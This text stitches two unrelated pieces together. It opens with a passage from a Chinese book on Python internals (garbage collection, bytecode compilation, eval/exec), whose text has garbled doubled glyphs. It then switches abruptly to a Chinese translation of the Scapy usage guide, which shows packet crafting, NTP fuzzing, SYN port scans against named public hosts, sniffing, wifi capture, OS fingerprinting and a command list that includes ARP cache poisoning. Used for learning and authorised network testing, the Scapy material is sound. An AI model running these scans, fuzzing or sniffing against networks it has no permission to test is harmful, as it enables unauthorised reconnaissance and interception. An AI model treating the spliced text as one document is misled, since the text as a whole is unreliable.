gc.collect() # 从输出信息看,回收失败。
gc: collecting generation 2...
gc: objects in each generation: 520 3190 0
gc: uncollectable <User 0x10fd51fd0> # a
16
gc: uncollectable <User 0x10fd57050> # b
gc: uncollectable <dict 0x7f990ac88280> # a.dict
gc: uncollectable <dict 0x7f990ac88940> # b.dict
gc: done, 4 unreachable, 4 uncollectable, 0.0014s elapsed.
4
wa(), wb(), hex(id(wa().dict)), hex(id(wb().dict)) # 和上⾯面的地址对照一下。
(
<main.User object at 0x10fd51fd0>,
<main.User object at 0x10fd57050>,
'0x7f990ac88280',
'0x7f990ac88940'
)
关于用不用 del 的争论很多。多数情况,⼈人们的结论是一棍⼦子打死,诸多 "⽜牛⼈人" 也是这样教导
新⼿手的。可毕竟 del 承担了析构函数的⾓角⾊色,某些时候还是有其特定的作用的。用弱引用回调
会造成逻辑分离,不便于维护。对于一些简单的脚本,我们还是能保证避免循环引用的,那不妨试
试。就像前⾯面例⼦子中用来监测对象回收,就很⽅方便……
1.5 编译
Python 实现了栈式虚拟机 (Stack-based VM) 架构,通过机器⽆无关的字节码来实现跨平台执行。
这种字节码指令集没有寄存器概念,完全以栈 (抽象层⾯面) 完全指令运算。尽管很简单,但对大多数
⼈人而言,⽆无需关⼼心这些细节。
要运行 Python 语言编写的程序,必须将源码编译成字节码。通常情况下,编译器会将源码转换成
字节码后保存在 pyc ⽂文件中。还可以用 -O 参数⽣生成 pyo 格式,这是一种简单优化的 pyc ⽂文件。
编译通常发⽣生在模块载入那一刻。具体来看,⼜又分为 pyc 和 py 两种情况。
载入 pyc 流程:
• 核对⽂文件 Magic 标记。
• 检查时间戳和源码⽂文件修改时间是否相同,以确定是否需要重新编译。
• 载入模块。
如果没有 pyc,那么就需要先完成编译:
• 对源码进行 AST 分析。
• 将分析结果编译成 PyCodeObject。
• 将 Magic、源码⽂文件修改时间、PyCodeObject 保存到 pyc ⽂文件中。
• 载入模块。
17
Magic 是一个特殊的数字,由 Python 版本号计算得来,作为 pyc ⽂文件检查标记。PyCodeObject
则包含了成员对象的完整信息。
typedef struct {
PyObject_HEAD
int co_argcount; // 参数个数,不包括 *args, **kwargs。
int co_nlocals; // 局部变量数量。
int co_stacksize; // 执行所需的栈空间。
int co_flags; // 编译标志,在创建 Frame 时用得着。
PyObject *co_code; // 字节码指令。
PyObject *co_consts; // 常量列表。
PyObject *co_names; // 符号列表。
PyObject *co_varnames; // 局部变量名列表。
PyObject *co_freevars; // 为闭包准备的东⻄西...
PyObject *co_cellvars; // 还是闭包要的东⻄西...。
PyObject *co_filename; // 源码⽂文件名。
PyObject *co_name; // PyCodeObject 的名字,函数名、类名什么的。
int co_firstlineno; // 这个 PyCodeObject 在源码⽂文件中的起始位置,也就是行号。
PyObject *co_lnotab; // 字节码指令偏移量和源码行号的对应关系,反汇编时用得着。
void *co_zombieframe; // 为优化准备的特殊 Frame 对象。
PyObject co_weakreflist; // 为弱引用准备的...
} PyCodeObject;
⽆无论是 module 还是其内部的 function,都被编译成 PyCodeObject 对象。内部成员都嵌套到
co_consts 列表中。
pycat test.py
"""
Hello, World
"""
def add(a, b):
return a + b
c = add(10, 20)
code = compile(open("test.py").read(), "test.py", "exec")
code.co_filename, code.co_name, code.co_names
('test.py', '', ('doc', 'add', 'c'))
code.co_consts
('\n Hello, World\n', <code object add at 0x105b76e30, file "test.py", line 5>, 10,
20, None)
add = code.co_consts[1]
add.co_varnames
('a', 'b')
18
⼿手⼯工编译代码,除了内置 compile 函数,标准库里还有 py_compile、compileall 可供选择。
import py_compile, compileall
py_compile.compile("test.py", "test.pyo")
ls
main.py
test.py test.pyo
compileall.compile_dir(".", 0)
Listing . ...
Compiling ./main.py ...
Compiling ./test.py ...
如果对 pyc ⽂文件格式有兴趣,但⼜又不想看 C 代码,可以到 /usr/lib/python2.7/compiler 目录里
寻宝。⼜又或者你对 "反汇编"、"代码混淆"、"代码注入"、"破解" 等话题更有兴趣,不妨看看标准库
里的 dis,或者找本《蟒原》看看。
1.6 执行
相⽐比 .NET、JAVA 的 CodeDOM 和 Emit,Pythoner 你就偷着乐吧。
最简单的就是 eval(),用来执行一个表达式。
eval("(1 + 2) * 3") # 假装看不懂这是啥……
9
eval("{'a': 1, 'b': 2}") # 将字符串转换为 dict。
{'a': 1, 'b': 2}
eval 默认会使用当前环境的名字空间,当然我们也可以带入⾃自定的字典。
x = 100
eval("x + 200") # 使用当前上下⽂文的名字空间。
300
ns = dict(x = 10, y = 20)
eval("x + y", ns) # 使用⾃自定义名字空间。
30
ns.keys() # 名字空间里多了 builtins
['y', 'x', 'builtins']
要执行一个代码⽚片段,或者是一个 PyCodeObject 对象,那么需要动用 exec 。同样可以带入⾃自定
义名字空间,以免对当前环境造成污染。
py = """
19
... class User(object):
... def init(self, name):
... self.name = name
... def repr(self):
... return "<User: {0:x}; name={1}>".format(id(self), self.name)
... """
ns = dict()
exec py in ns # 执行一个代码⽚片段,使用⾃自定义的名字空间。
ns.keys() # 可以看到名字空间包含了新的类型:User。
['builtins', 'User']
ns"User" # 完全可用。貌似用来开发 ORM 会很简单。
<User: 10547f290; name=Tom>
继续看看 exec 执行 PyCodeObject 的演⽰示。
py = """
... def incr(x):
... global z
... z += x
... """
code = compile(py, "test", "exec") # 编译成 PyCodeObject。
ns = dict(z = 100) # ⾃自定义一个 global 名字空间。
exec code in ns # exec 执行以后,全局名字空间多了 incr。
ns.keys() # def 的意思是创建一个函数对象。
['builtins', 'incr', 'z']
exec "incr(x); print z" in ns, dict(x = 50) # 试着调用这个 incr,不过这次我们提供一个
150 # local 名字空间,以免污染 global。
ns.keys() # 污染没有发⽣生。
['builtins', 'incr', 'z']
动态执行一个 py ⽂文件,可以考虑用 execfile(),或者 runpy 模块。

Scapy中文使用文档

Scapy中文使用文档

from:(http://www.secdev.org/projects/scapy/doc/usage.html)
by Larry

0x01 起航Scapy

Scapy的交互shell是运行在一个终端会话当中。因为需要root权限才能发送数据包,所以我们在这里使用sudo

$ sudo scapy
Welcome to Scapy (2.0.1-dev)
>>>

在Windows当中,请打开命令提示符(cmd.exe),并确保您拥有管理员权限:

C:\>scapy
INFO: No IPv6 support in kernel
WARNING: No route found for IPv6 destination :: (no default route?)
Welcome to Scapy (2.0.1-dev)
>>>

如果您没有安装所有的可选包,Scapy将会告诉你有些功能不可用:

INFO: Can't import python gnuplot wrapper . Won't be able to plot.
INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().

虽然没有安装,但发送和接收数据包的基本功能仍能有效。

0x02 互动教程

本节将会告诉您一些Scapy的功能。让我们按上文所述打开Scapy,亲自尝试些例子吧。

第一步

让我们来建立一个数据包试一试

>>> a=IP(ttl=10)
>>> a
< IP ttl=10 |>
>>> a.src
’127.0.0.1’
>>> a.dst="192.168.1.1"
>>> a
< IP ttl=10 dst=192.168.1.1 |>
>>> a.src
’192.168.8.14’
>>> del(a.ttl)
>>> a
< IP dst=192.168.1.1 |>
>>> a.ttl
64

堆加层次(OSI参考模型)

/操作符在两层之间起到一个组合的作用。当使用该操作符时,下层可以根据其上层,使它的一个或多个默认字段被重载。(您仍可以赋予您想要的值)一个字符串也可以被用作原料层(raw layer)。

>>> IP()
<IP |>
>>> IP()/TCP()
<IP frag=0 proto=TCP |<TCP |>>
>>> Ether()/IP()/TCP()
<Ether type=0x800 |<IP frag=0 proto=TCP |<TCP |>>>
>>> IP()/TCP()/"GET / HTTP/1.0\r\n\r\n"
<IP frag=0 proto=TCP |<TCP |<Raw load='GET / HTTP/1.0\r\n\r\n' |>>>
>>> Ether()/IP()/IP()/UDP()
<Ether type=0x800 |<IP frag=0 proto=IP |<IP frag=0 proto=UDP |<UDP |>>>>
>>> IP(proto=55)/TCP()
<IP frag=0 proto=55 |<TCP |>>

png" alt="" />

每一个数据包都可以被建立或分解(注意:在python_(下划线)是上一条语句执行的结果):

>>> str(IP())
'E\x00\x00\x14\x00\x01\x00\x00@\x00|\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01'
>>> IP(_)
<IP version=4L ihl=5L tos=0x0 len=20 id=1 flags= frag=0L ttl=64 proto=IP
 chksum=0x7ce7 src=127.0.0.1 dst=127.0.0.1 |>
>>>  a=Ether()/IP(dst="www.slashdot.org")/TCP()/"GET /index.html HTTP/1.0 \n\n"
>>>  hexdump(a)
00 02 15 37 A2 44 00 AE F3 52 AA D1 08 00 45 00  ...7.D...R....E.
00 43 00 01 00 00 40 06 78 3C C0 A8 05 15 42 23  .C....@.x<....B#
FA 97 00 14 00 50 00 00 00 00 00 00 00 00 50 02  .....P........P.
20 00 BB 39 00 00 47 45 54 20 2F 69 6E 64 65 78   ..9..GET /index
2E 68 74 6D 6C 20 48 54 54 50 2F 31 2E 30 20 0A  .html HTTP/1.0 .
0A                                               .
>>> b=str(a)
>>> b
'\x00\x02\x157\xa2D\x00\xae\xf3R\xaa\xd1\x08\x00E\x00\x00C\x00\x01\x00\x00@\x06x<\xc0
 \xa8\x05\x15B#\xfa\x97\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00
 \xbb9\x00\x00GET /index.html HTTP/1.0 \n\n'
>>> c=Ether(b)
>>> c
<Ether dst=00:02:15:37:a2:44 src=00:ae:f3:52:aa:d1 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=67 id=1 flags= frag=0L ttl=64 proto=TCP chksum=0x783c
 src=192.168.5.21 dst=66.35.250.151 options='' |<TCP sport=20 dport=80 seq=0L
 ack=0L dataofs=5L reserved=0L flags=S window=8192 chksum=0xbb39 urgptr=0
 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>

我们看到一个分解的数据包将其所有的字段填充。那是因为我认为,附加有原始字符串的字段都有它自身的价值。如果这太冗长,hide_defaults()方法将会删除具有默认值的字段:

>>> c.hide_defaults()
>>> c 
<Ether dst=00:0f:66:56:fa:d2 src=00:ae:f3:52:aa:d1 type=0x800 |<IP ihl=5L len=67
 frag=0 proto=TCP chksum=0x783c src=192.168.5.21 dst=66.35.250.151 |<TCP dataofs=5L
 chksum=0xbb39 options=[] |<Raw load='GET /index.html HTTP/1.0 \n\n' |>>>>

读取PCAP文件

你可以从PCAP文件中读取数据包,并将其写入到一个PCAP文件中。

>>> a=rdpcap("/spare/captures/isakmp.cap")
>>> a
<isakmp.cap: UDP:721 TCP:0 ICMP:0 Other:0>

图形转储(PDF,PS)

如果您已经安装PyX,您可以做一个数据包的图形PostScript/ PDF转储(见下面丑陋的png图像,PostScript/PDF则具有更好的质量...)

>>> a[423].pdfdump(layer_shift=1)
>>> a[423].psdump("/tmp/isakmp_pkt.eps",layer_shift=1)

命令      效果
str(pkt)    组装数据包
hexdump(pkt)    十六进制转储
ls(pkt)     显示出字段值的列表
pkt.summary()   一行摘要
pkt.show()  针对数据包的展开试图
pkt.show2()     显示聚合的数据包(例如,计算好了校验和)
pkt.sprintf()   用数据包字段填充格式字符串
pkt.decode_payload_as()     改变payload的decode方式
pkt.psdump()    绘制一个解释说明的PostScript图表
pkt.pdfdump()   绘制一个解释说明的PDF
pkt.command()   返回可以生成数据包的Scapy命令

生成一组数据包

目前我们只是生成一个数据包。让我们看看如何轻易地定制一组数据包。整个数据包的每一个字段(甚至是网络层次)都可以是一组。在这里隐含地定义了一组数据包的概念,意即是使用所有区域之间的笛卡尔乘积来生成的一组数据包。

>>> a=IP(dst="www.slashdot.org/30")
>>> a
<IP  dst=Net('www.slashdot.org/30') |>
>>> [p for p in a]
[<IP dst=66.35.250.148 |>, <IP dst=66.35.250.149 |>,
 <IP dst=66.35.250.150 |>, <IP dst=66.35.250.151 |>]
>>> b=IP(ttl=[1,2,(5,9)])
>>> b
<IP ttl=[1, 2, (5, 9)] |>
>>> [p for p in b]
[<IP ttl=1 |>, <IP ttl=2 |>, <IP ttl=5 |>, <IP ttl=6 |>,
 <IP ttl=7 |>, <IP ttl=8 |>, <IP ttl=9 |>]
>>> c=TCP(dport=[80,443])
>>> [p for p in a/c]
[<IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.148 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.149 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.150 |<TCP dport=443 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=80 |>>,
 <IP frag=0 proto=TCP dst=66.35.250.151 |<TCP dport=443 |>>]
      

某些操作(如修改一个数据包中的字符串)无法对于一组数据包使用。在这些情况下,如果您忘记展开您的数据包集合,只有您忘记生成的列表中的第一个元素会被用于组装数据包。

命令  效果
summary()   显示一个关于每个数据包的摘要列表
nsummary()  同上,但规定了数据包数量
conversations()     显示一个会话图表
show()  显示首选表示(通常用nsummary())
filter()    返回一个lambda过滤后的数据包列表
hexdump()   返回所有数据包的一个hexdump
hexraw()    返回所以数据包Raw layer的hexdump
padding()   返回一个带填充的数据包的hexdump
nzpadding()     返回一个具有非零填充的数据包的hexdump
plot()  规划一个应用到数据包列表的lambda函数
make table()    根据lambda函数来显示表格

发送数据包

现在我们知道了如何处理数据包。让我们来看看如何发送它们。send()函数将会在第3层发送数据包。也就是说它会为你处理路由和第2层的数据。sendp()函数将会工作在第2层。选择合适的接口和正确的链路层协议都取决于你。

>>> send(IP(dst="1.2.3.4")/ICMP())
.
Sent 1 packets.
>>> sendp(Ether()/IP(dst="1.2.3.4",ttl=(1,4)), iface="eth1")
....
Sent 4 packets.
>>> sendp("I'm travelling on Ethernet", iface="eth1", loop=1, inter=0.2)
................^C
Sent 16 packets.
>>> sendp(rdpcap("/tmp/pcapfile")) # tcpreplay
...........
Sent 11 packets.

Fuzzing

fuzz()函数可以通过一个具有随机值、数据类型合适的对象,来改变任何默认值,但该值不能是被计算的(像校验和那样)。这使得可以快速建立循环模糊化测试模板。在下面的例子中,IP层是正常的,UDP层和NTP层被fuzz。UDP的校验和是正确的,UDP的目的端口被NTP重载为123,而且NTP的版本被更变为4.其他所有的端口将被随机分组:

>>> send(IP(dst="target")/fuzz(UDP()/NTP(version=4)),loop=1)
................^C
Sent 16 packets.

发送和接收数据包(sr

现在让我们做一些有趣的事情。sr()函数是用来发送数据包和接收应答。该函数返回一对数据包及其应答,还有无应答的数据包。sr1()函数是一种变体,用来返回一个应答数据包。发送的数据包必须是第3层报文(IP,ARP等)。srp()则是使用第2层报文(以太网,802.3等)。

>>> p=sr1(IP(dst="www.slashdot.org")/ICMP()/"XXXXXXXXXXX")
Begin emission:
...Finished to send 1 packets.
.*
Received 5 packets, got 1 answers, remaining 0 packets
>>> p
<IP version=4L ihl=5L tos=0x0 len=39 id=15489 flags= frag=0L ttl=42 proto=ICMP
 chksum=0x51dd src=66.35.250.151 dst=192.168.5.21 options='' |<ICMP type=echo-reply
 code=0 chksum=0xee45 id=0x0 seq=0x0 |<Raw load='XXXXXXXXXXX'
 |<Padding load='\x00\x00\x00\x00' |>>>>
>>> p.show()
---[ IP ]---
version   = 4L
ihl       = 5L
tos       = 0x0
len       = 39
id        = 15489
flags     =
frag      = 0L
ttl       = 42
proto     = ICMP
chksum    = 0x51dd
src       = 66.35.250.151
dst       = 192.168.5.21
options   = ''
---[ ICMP ]---
   type      = echo-reply
   code      = 0
   chksum    = 0xee45
   id        = 0x0
   seq       = 0x0
---[ Raw ]---
      load      = 'XXXXXXXXXXX'
---[ Padding ]---
         load      = '\x00\x00\x00\x00'

DNS查询(rd = recursion desired)。主机192.168.5.1是我的DNS服务器。注意从我Linksys来的非空填充具有Etherleak缺陷:

>>> sr1(IP(dst="192.168.5.1")/UDP()/DNS(rd=1,qd=DNSQR(qname="www.slashdot.org")))
Begin emission:
Finished to send 1 packets.
..*
Received 3 packets, got 1 answers, remaining 0 packets
<IP version=4L ihl=5L tos=0x0 len=78 id=0 flags=DF frag=0L ttl=64 proto=UDP chksum=0xaf38
 src=192.168.5.1 dst=192.168.5.21 options='' |<UDP sport=53 dport=53 len=58 chksum=0xd55d
 |<DNS id=0 qr=1L opcode=QUERY aa=0L tc=0L rd=1L ra=1L z=0L rcode=ok qdcount=1 ancount=1
 nscount=0 arcount=0 qd=<DNSQR qname='www.slashdot.org.' qtype=A qclass=IN |>
 an=<DNSRR rrname='www.slashdot.org.' type=A rclass=IN ttl=3560L rdata='66.35.250.151' |>
 ns=0 ar=0 |<Padding load='\xc6\x94\xc7\xeb' |>>>>

发送和接收函数族是scapy中的核心部分。它们返回一对两个列表。第一个就是发送的数据包及其应答组成的列表,第二个是无应答数据包组成的列表。为了更好地呈现它们,它们被封装成一个对象,并且提供了一些便于操作的方法:

>>> sr(IP(dst="192.168.8.1")/TCP(dport=[21,22,23]))
Received 6 packets, got 3 answers, remaining 0 packets
(<Results: UDP:0 TCP:3 ICMP:0 Other:0>, <Unanswered: UDP:0 TCP:0 ICMP:0 Other:0>)
>>> ans,unans=_
>>> ans.summary()
IP / TCP 192.168.8.14:20 > 192.168.8.1:21 S ==> Ether / IP / TCP 192.168.8.1:21 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:22 S ==> Ether / IP / TCP 192.168.8.1:22 > 192.168.8.14:20 RA / Padding
IP / TCP 192.168.8.14:20 > 192.168.8.1:23 S ==> Ether / IP / TCP 192.168.8.1:23 > 192.168.8.14:20 RA / Padding

如果对于应答数据包有速度限制,你可以通过inter参数来设置两个数据包之间等待的时间间隔。如果有些数据包丢失了,或者设置时间间隔不足以满足要求,你可以重新发送所有无应答数据包。你可以简单地对无应答数据包列表再调用一遍函数,或者去设置retry参数。如果retry设置为3,scapy会对无应答的数据包重复发送三次。如果retry设为-3,scapy则会一直发送无应答的数据包,直到。timeout参数设置在最后一个数据包发出去之后的等待时间:

SYN Scans

在Scapy提示符中执行一下命令,可以对经典的SYN Scan初始化:

>>> sr1(IP(dst="72.14.207.99")/TCP(dport=80,flags="S"))

以上向Google的80端口发送了一个SYN数据包,会在接收到一个应答后退出:

Begin emission:
.Finished to send 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
<IP  version=4L ihl=5L tos=0x20 len=44 id=33529 flags= frag=0L ttl=244
proto=TCP chksum=0x6a34 src=72.14.207.99 dst=192.168.1.100 options=// |
<TCP  sport=www dport=ftp-data seq=2487238601L ack=1 dataofs=6L reserved=0L
flags=SA window=8190 chksum=0xcdc7 urgptr=0 options=[('MSS', 536)] |
<Padding  load='V\xf7' |>>>

从以上的输出中可以看出,Google返回了一个SA(SYN-ACK)标志位,表示80端口是open的。

使用其他标志位扫描一下系统的440到443端口:

>>> sr(IP(dst="192.168.1.1")/TCP(sport=666,dport=(440,443),flags="S"))

或者

>>> sr(IP(dst="192.168.1.1")/TCP(sport=RandShort(),dport=[440,441,442,443],flags="S"))

可以对收集的数据包进行摘要(summary),来快速地浏览响应:

>>> ans,unans = _
>>> ans.summary()
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:440 S ======> IP / TCP 192.168.1.1:440 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:441 S ======> IP / TCP 192.168.1.1:441 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:442 S ======> IP / TCP 192.168.1.1:442 > 192.168.1.100:ftp-data RA / Padding
IP / TCP 192.168.1.100:ftp-data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp-data SA / Padding

以上显示了我们在扫描过程中的请求应答对。我们也可以用一个循环只显示我们感兴趣的信息:

>>> ans.summary( lambda(s,r): r.sprintf("%TCP.sport% \t %TCP.flags%") )
440      RA
441      RA
442      RA
https    SA

可以使用make_table()函数建立一个表格,更好地显示多个目标信息:

>>> ans,unans = sr(IP(dst=["192.168.1.1","yahoo.com","slashdot.org"])/TCP(dport=[22,80,443],flags="S"))
Begin emission:
.......*.**.......Finished to send 9 packets.
**.*.*..*..................
Received 362 packets, got 8 answers, remaining 1 packets
>>> ans.make_table(
...    lambda(s,r): (s.dst, s.dport,
...    r.sprintf("{TCP:%TCP.flags%}{ICMP:%IP.src% - %ICMP.type%}")))
    66.35.250.150                192.168.1.1 216.109.112.135
22  66.35.250.150 - dest-unreach RA          -
80  SA                           RA          SA
443 SA                           SA          SA    

在以上的例子中,如果接收到作为响应的ICMP数据包而不是预期的TCP数据包,就会打印出ICMP差错类型(error type)。

对于更大型的扫描,我们可能对某个响应感兴趣,下面的例子就只显示设置了"SA"标志位的数据包:

>>> ans.nsummary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA")
0003 IP / TCP 192.168.1.100:ftp_data > 192.168.1.1:https S ======> IP / TCP 192.168.1.1:https > 192.168.1.100:ftp_data SA

如果我们想对响应进行专业分析,我们可以使用使用以下的命令显示哪些端口是open的:

>>> ans.summary(lfilter = lambda (s,r): r.sprintf("%TCP.flags%") == "SA",prn=lambda(s,r):r.sprintf("%TCP.sport% is open"))
https is open

对于更大型的扫描,我们可以建立一个端口开放表:

>>> ans.filter(lambda (s,r):TCP in r and r[TCP].flags&2).make_table(lambda (s,r):
...             (s.dst, s.dport, "X"))
    66.35.250.150 192.168.1.1 216.109.112.135
80  X             -           X
443 X             X           X

如果以上的方法还不够,Scapy还包含一个report_ports()函数,该函数不仅可以自动化SYN scan,而且还会对收集的结果以LaTeX形式输出:

>>> report_ports("192.168.1.1",(440,443))
Begin emission:
...*.**Finished to send 4 packets.
*
Received 8 packets, got 4 answers, remaining 0 packets
'\\begin{tabular}{|r|l|l|}\n\\hline\nhttps & open & SA \\\\\n\\hline\n440
 & closed & TCP RA \\\\\n441 & closed & TCP RA \\\\\n442 & closed &
TCP RA \\\\\n\\hline\n\\hline\n\\end{tabular}\n'

TCP traceroute

TCP路由追踪:

>>> ans,unans=sr(IP(dst=target, ttl=(4,25),id=RandShort())/TCP(flags=0x2))
*****.******.*.***..*.**Finished to send 22 packets.
***......
Received 33 packets, got 21 answers, remaining 1 packets
>>> for snd,rcv in ans:
...     print snd.ttl, rcv.src, isinstance(rcv.payload, TCP)
...
5 194.51.159.65 0
6 194.51.159.49 0
4 194.250.107.181 0
7 193.251.126.34 0
8 193.251.126.154 0
9 193.251.241.89 0
10 193.251.241.110 0
11 193.251.241.173 0
13 208.172.251.165 0
12 193.251.241.173 0
14 208.172.251.165 0
15 206.24.226.99 0
16 206.24.238.34 0
17 173.109.66.90 0
18 173.109.88.218 0
19 173.29.39.101 1
20 173.29.39.101 1
21 173.29.39.101 1
22 173.29.39.101 1
23 173.29.39.101 1
24 173.29.39.101 1

注意:TCP路由跟踪和其他高级函数早已被构造好了:

>>> lsc()
sr               : Send and receive packets at layer 3
sr1              : Send packets at layer 3 and return only the first answer
srp              : Send and receive packets at layer 2
srp1             : Send and receive packets at layer 2 and return only the first answer
srloop           : Send a packet at layer 3 in loop and print the answer each time
srploop          : Send a packet at layer 2 in loop and print the answer each time
sniff            : Sniff packets
p0f              : Passive OS fingerprinting: which OS emitted this TCP SYN ?
arpcachepoison   : Poison target's cache with (your MAC,victim's IP) couple
send             : Send packets at layer 3
sendp            : Send packets at layer 2
traceroute       : Instant TCP traceroute
arping           : Send ARP who-has requests to determine which hosts are up
ls               : List  available layers, or infos on a given layer
lsc              : List user commands
queso            : Queso OS fingerprinting
nmap_fp          : nmap fingerprinting
report_ports     : portscan a target and output a LaTeX table
dyndns_add       : Send a DNS add message to a nameserver for "name" to have a new "rdata"
dyndns_del       : Send a DNS delete message to a nameserver for "name"
[...]

配置高级sockets

发送和接收数据包的过程是相当复杂的。

Sniffing

我们可以简单地捕获数据包,或者是克隆tcpdump或tethereal的功能。如果没有指定interface,则会 在所有的interface上进行嗅探:

>>>  sniff(filter="icmp and host 66.35.250.151", count=2)
<Sniffed: UDP:0 TCP:0 ICMP:2 Other:0>
>>>  a=_
>>>  a.nsummary()
0000 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
0001 Ether / IP / ICMP 192.168.5.21 echo-request 0 / Raw
>>>  a[1]
<Ether dst=00:ae:f3:52:aa:d1 src=00:02:15:37:a2:44 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=84 id=0 flags=DF frag=0L ttl=64 proto=ICMP chksum=0x3831
 src=192.168.5.21 dst=66.35.250.151 options='' |<ICMP type=echo-request code=0
 chksum=0x6571 id=0x8745 seq=0x0 |<Raw load='B\xf7g\xda\x00\x07um\x08\t\n\x0b
 \x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d
 \x1e\x1f !\x22#$%&\'()*+,-./01234567' |>>>>
>>> sniff(iface="wifi0", prn=lambda x: x.summary())
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 5 00:0a:41:ee:a5:50 / 802.11 Probe Response / Info SSID / Info Rates / Info DSset / Info 133
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 4 ff:ff:ff:ff:ff:ff / 802.11 Probe Request / Info SSID / Info Rates
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 11 00:07:50:d6:44:3f / 802.11 Authentication
802.11 Management 11 00:0a:41:ee:a5:50 / 802.11 Authentication
802.11 Management 0 00:07:50:d6:44:3f / 802.11 Association Request / Info SSID / Info Rates / Info 133 / Info 149
802.11 Management 1 00:0a:41:ee:a5:50 / 802.11 Association Response / Info Rates / Info 133 / Info 149
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 Management 8 ff:ff:ff:ff:ff:ff / 802.11 Beacon / Info SSID / Info Rates / Info DSset / Info TIM / Info 133
802.11 / LLC / SNAP / ARP who has 172.20.70.172 says 172.20.70.171 / Padding
802.11 / LLC / SNAP / ARP is at 00:0a:b7:4b:9c:dd says 172.20.70.172 / Padding
802.11 / LLC / SNAP / IP / ICMP echo-request 0 / Raw
802.11 / LLC / SNAP / IP / ICMP echo-reply 0 / Raw
>>> sniff(iface="eth1", prn=lambda x: x.show())
---[ Ethernet ]---
dst       = 00:ae:f3:52:aa:d1
src       = 00:02:15:37:a2:44
type      = 0x800
---[ IP ]---
   version   = 4L
   ihl       = 5L
   tos       = 0x0
   len       = 84
   id        = 0
   flags     = DF
   frag      = 0L
   ttl       = 64
   proto     = ICMP
   chksum    = 0x3831
   src       = 192.168.5.21
   dst       = 66.35.250.151
   options   = ''
---[ ICMP ]---
      type      = echo-request
      code      = 0
      chksum    = 0x89d9
      id        = 0xc245
      seq       = 0x0
---[ Raw ]---
         load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Ethernet ]---
dst       = 00:02:15:37:a2:44
src       = 00:ae:f3:52:aa:d1
type      = 0x800
---[ IP ]---
   version   = 4L
   ihl       = 5L
   tos       = 0x0
   len       = 84
   id        = 2070
   flags     =
   frag      = 0L
   ttl       = 42
   proto     = ICMP
   chksum    = 0x861b
   src       = 66.35.250.151
   dst       = 192.168.5.21
   options   = ''
---[ ICMP ]---
      type      = echo-reply
      code      = 0
      chksum    = 0x91d9
      id        = 0xc245
      seq       = 0x0
---[ Raw ]---
         load      = 'B\xf7i\xa9\x00\x04\x149\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\x22#$%&\'()*+,-./01234567'
---[ Padding ]---
            load      = '\n_\x00\x0b'

对于控制输出信息,我们可以使用sprintf()函数:

>>> pkts = sniff(prn=lambda x:x.sprintf("{IP:%IP.src% -> %IP.dst%\n}{Raw:%Raw.load%\n}"))
192.168.1.100 -> 64.233.167.99    

64.233.167.99 -> 192.168.1.100    

192.168.1.100 -> 64.233.167.99    

192.168.1.100 -> 64.233.167.99
'GET / HTTP/1.1\r\nHost: 64.233.167.99\r\nUser-Agent: Mozilla/5.0
(X11; U; linux i686; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy)
Firefox/2.0.0.8\r\nAccept: text/xml,application/xml,application/xhtml+xml,
text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\nAccept-Language:
en-us,en;q=0.5\r\nAccept-Encoding: gzip,deflate\r\nAccept-Charset:
ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nKeep-Alive: 300\r\nConnection:
keep-alive\r\nCache-Control: max-age=0\r\n\r\n'

我们可以嗅探并进行被动操作系统指纹识别:

>>> p
<Ether dst=00:10:4b:b3:7d:4e src=00:40:33:96:7b:60 type=0x800 |<IP version=4L
 ihl=5L tos=0x0 len=60 id=61681 flags=DF frag=0L ttl=64 proto=TCP chksum=0xb85e
 src=192.168.8.10 dst=192.168.8.1 options='' |<TCP sport=46511 dport=80
 seq=2023566040L ack=0L dataofs=10L reserved=0L flags=SEC window=5840
 chksum=0x570c urgptr=0 options=[('Timestamp', (342940201L, 0L)), ('MSS', 1460),
 ('NOP', ()), ('SAckOK', ''), ('WScale', 0)] |>>>
>>> load_module("p0f")
>>> p0f(p)
(1.0, ['linux 2.4.2 - 2.4.14 (1)'])
